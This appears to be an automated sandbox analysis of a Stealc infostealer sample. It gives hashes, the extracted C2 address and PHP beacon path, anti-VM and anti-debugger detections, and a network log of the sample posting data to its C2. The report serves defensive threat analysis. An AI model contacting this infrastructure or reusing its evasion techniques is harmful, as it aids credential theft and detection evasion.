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Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 04:01 UTC

General

  • Target

    file.exe

  • Size

    2.0MB

  • MD5

    9daf9ba5572fa8bd4f0fffad181e8e7e

  • SHA1

    cbe0cddc9f6f9748b82201587d5b419e6f6dc740

  • SHA256

    70dff1225c6b572e8fedd62f2e0f5c9c8b40f16c3fb9086fa05f3b103627b4cd

  • SHA512

    868ee95a3f5baa4efd1b486f324073ee25c2f4404fe5d1861c3734e2755399115aa377a09526563e4d7f0244d913821a09c15fd0c26933a5427b19e49bb535f6

  • SSDEEP

    49152:UI1h5M5gmRAdwQtXw4C+BE/C6q+zq8THb1FanO0IrN:bHM2GQCd82l7faOb

Malware Config

Extracted

Family

stealc

Botnet

tale

C2

http://185.215.113.206

Attributes
  • url_path

    /6c4adf523b719729.php

Signatures

  • Stealc

    Stealc is an infostealer written in C++.

  • Stealc family
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:3956

Network

  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-ru
    GET
    http://185.215.113.206/
    file.exe
    Remote address:
    185.215.113.206:80
    Request
    GET / HTTP/1.1
    Host: 185.215.113.206
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Thu, 07 Nov 2024 04:01:10 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-ru
    POST
    http://185.215.113.206/6c4adf523b719729.php
    file.exe
    Remote address:
    185.215.113.206:80
    Request
    POST /6c4adf523b719729.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB
    Host: 185.215.113.206
    Content-Length: 208
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Date: Thu, 07 Nov 2024 04:01:10 GMT
    Server: Apache/2.4.41 (Ubuntu)
    Content-Length: 8
    Keep-Alive: timeout=5, max=99
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8
  • flag-us
    DNS
    206.113.215.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.113.215.185.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    20.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    20.160.190.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    95.221.229.192.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    95.221.229.192.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    149.220.183.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    149.220.183.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    212.20.149.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    212.20.149.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    18.31.95.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    18.31.95.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    172.210.232.199.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    172.210.232.199.in-addr.arpa
    IN PTR
    Response
  • 185.215.113.206:80
    http://185.215.113.206/6c4adf523b719729.php
    http
    file.exe
    816 B
    625 B
    7
    5

    HTTP Request

    GET http://185.215.113.206/

    HTTP Response

    200

    HTTP Request

    POST http://185.215.113.206/6c4adf523b719729.php

    HTTP Response

    200
  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    206.113.215.185.in-addr.arpa
    dns
    74 B
    134 B
    1
    1

    DNS Request

    206.113.215.185.in-addr.arpa

  • 8.8.8.8:53
    20.160.190.20.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    20.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
    144 B
    1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    149.220.183.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    149.220.183.52.in-addr.arpa

  • 8.8.8.8:53
    212.20.149.52.in-addr.arpa
    dns
    72 B
    146 B
    1
    1

    DNS Request

    212.20.149.52.in-addr.arpa

  • 8.8.8.8:53
    18.31.95.13.in-addr.arpa
    dns
    70 B
    144 B
    1
    1

    DNS Request

    18.31.95.13.in-addr.arpa

  • 8.8.8.8:53
    172.210.232.199.in-addr.arpa
    dns
    74 B
    128 B
    1
    1

    DNS Request

    172.210.232.199.in-addr.arpa

  • 8.8.8.8:53

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3956-0-0x00000000007B0000-0x0000000000EE7000-memory.dmp

    Filesize

    7.2MB

  • memory/3956-1-0x00000000778A4000-0x00000000778A6000-memory.dmp

    Filesize

    8KB

  • memory/3956-2-0x00000000007B1000-0x0000000000819000-memory.dmp

    Filesize

    416KB

  • memory/3956-3-0x00000000007B0000-0x0000000000EE7000-memory.dmp

    Filesize

    7.2MB

  • memory/3956-5-0x00000000007B0000-0x0000000000EE7000-memory.dmp

    Filesize

    7.2MB

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